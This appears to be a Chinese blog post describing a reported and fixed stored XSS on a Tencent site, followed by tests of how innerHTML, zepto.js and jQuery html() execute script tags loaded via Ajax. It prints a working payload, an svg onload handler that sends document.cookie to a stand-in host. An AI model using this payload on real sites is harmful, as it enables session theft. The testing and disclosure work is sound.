jQuery 是最常用的一个 JavaScript 库,其中的 element.html() 是一个将 HTML 代码插入某元素的方法,而 element.innerHTML 是 JavaScript 原生的插入方法。
以前,因为没有使用的需求,所以一直单纯地认为 jQuery 的 element.html() 只是对 element.innerHTML 的一个简单封装,但是昨天,发现事情并没有这么简单。
老师说过,写文章要有起因、经过、结果,所以先说说故事起因。
起因
小伙伴在某企鹅网站上发现一个存储型 XSS 漏洞,因为他对前端不了解,所以叫我来帮忙绕过滤。该页面不仅会对输入内容进行过滤,并且有最高 50 字符的字数限制,虽然没有了解到完整的过滤规则,但是经过简单的测试发现过滤比较鸡肋,连 <script> 标签都能成功插入。但是比较坑的是,每个企鹅账号仅能提交 15 条信息,所以无法进行大量尝试。
页面不是加载完成后就能直接触发 XSS 漏洞的,而是点击评论按钮后,页面通过 Ajax 请求评论信息并插入 DOM,若评论信息中包含 XSS 代码,才会最终触发。
提交漏洞后企鹅快速响应,现在洞已经补上了,就公布一下当时可以利用的代码。
<svg/onload="window.location.href='http://xss.domain/?id='+document.cookie">
嗯,后面的内容其实和日站没啥关系了,都是对 element.innerHTML 和 html() 进行的测试对比。
经过
原生 JavaScript 测试
先试试原生 JavaScript 中的 element.innerHTML。
<!-- index.html -->
<html>
<head></head>
<body>
<div id="content"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "index.txt");
xhr.send();
xhr.addEventListener("readystatechange", function(res){
if (res.target.readyState === 4 && res.target.status === 200) {
document.getElementById("content").innerHTML = res.target.responseText;
}
});
</script>
</body>
</html>
<!-- index.txt -->
<script>
alert('index.txt');
</script>
写好剧本:
1、打开 index.html(需要 HTTP Server);
2、页面自动发起 Ajax 请求,获取 index.txt 中的内容并加入 div 中;
3、最后自动执行 <script> 标签中的内容,即 alert('index.txt');,弹出 “index.txt” 字样的对话框。
打开运行…?(`Д´)ノ 教练,这和剧本写得不一样!!!
没有任何反应,虽然成功加载了 index.txt 中的 <script>alert('index.txt');</script>,也添加到了 DOM 中,但是就如同写入的是文本一样,完全不执行任何代码。
Google 一下,你就知道:
在 window.onload 触发前,通过 element.innerHTML 写入的脚本会正常执行,但是 window.onload 已经被触发后再加入脚本,就不会再自动执行了。
怎么办,正常情况下可以直接使用 eval() 执行脚本,虽然不怎么安全,但也是一种解决方法。但是在日站这种非正常情况下,就得另辟蹊径了。
别忘了,还有一个方法,是 document.write(),这个方法没有 element.innerHTML 好用,因为前者每次都会重写整个文档流,引起整个页面的重流,但后者可以对某个具体的元素的内容进行更改,也就不会重流整个页面了。虽然这个方法可以执行脚本,但是后果就是整个页面只剩下写入的内容,其他包括 <head>、<body> 统统都没了。所以想要不破坏页面,还是少用它吧。
zepto.js 测试
打开页面应该做的第一件事应该是右键查看源代码。——沃兹吉·硕得
本人贯彻上述真理,当然在第一时间了解到有漏洞的页面是使用了 zepto.js 库。
zepto.js 是一个轻量级的类 jQuery 库,其也是使用 $ 符号,而且很多功能实现与 jQuery 一致。OK,把代码改吧改吧,用 $.ajax 获取脚本看看会不会执行。
修改后的代码长这样:
<!-- index.html -->
<html>
<head>
<script src="zepto.js"></script>
</head>
<body>
<div id="content"></div>
<script>
$.ajax({
type: "GET",
url: "index.txt",
success: function (data) {
$("#content").html(data);
}
});
</script>
</body>
</html>
<!-- index.txt -->
<script>
alert('index.txt');
</script>
不同于使用原生 JavaScript 的没有任何反应,zepto 给足了面子,立刻弹出了 “index.txt” 字样的对话框。
哟西,内联的 JavaScript 代码执行成功,那引用外部的脚本那也是可以的吧?
<!-- index.txt -->
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js">
把 index.txt 修改为上面的内容,再次请求…
说好的请求外部资源呢?为什么就只有这 3 个文件的请求?我的 1.9.0 版本的 jquery.js 呢?
HTTP请求
嗨呀好气啊,是不是跨了域啊?<script> 又不是不能跨域…改了一试,果然还是没有请求。
zepto.js 测试结果是:
zepto.js 通过 Ajax 获得的包含 <script> 标签的字符串在加入 DOM 时会被执行,但是前提是 <script> 标签不是用于请求外部文件,而是内联 JavaScript 代码。
jQuery 测试
既然类 jQuery 的 zepto.js 不能请求外部文件,所以 jQuery 也不能么?带着这个疑问,我又测试了一下 jQuery,结果却有些不同。这里使用最新释出的 jQuery 3.1.0。
若是内联的 JavaScript 代码,可以正常执行,这点毫无疑问。
但是把 index.txt 再次改成下面那样后,竟然成功请求了这个文件。
<!-- index.txt -->
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js">
HTTP请求
HTTP请求
经过测试,连跨域都可以成功加载,那么同源时,一样能加载文件。
jQuery 测试结果是:
jQuery 通过 Ajax 获得的包含 <script> 标签的字符串在加入 DOM 时会被执行,若 <script> 标签用于请求外部文件,也可以正常请求。
结果
仔细看 demo 文件,发现差别就在于 html() 和 innerHTML。
所以以上测试的结果就是:
innerHTML 完全无法执行由 Ajax 得到的 <script> 标签内的脚本
zepto.js 和 jQuery 都可以执行由 Ajax 得到的 <script> 标签中的内联脚本
jQuery 可以请求到由 Ajax 得到的 <script> 标签的外部请求的文件
尾声
好菜啊,这都写得啥,真是 naive,果然下篇还是写篇详细的分析吧,期待下期吧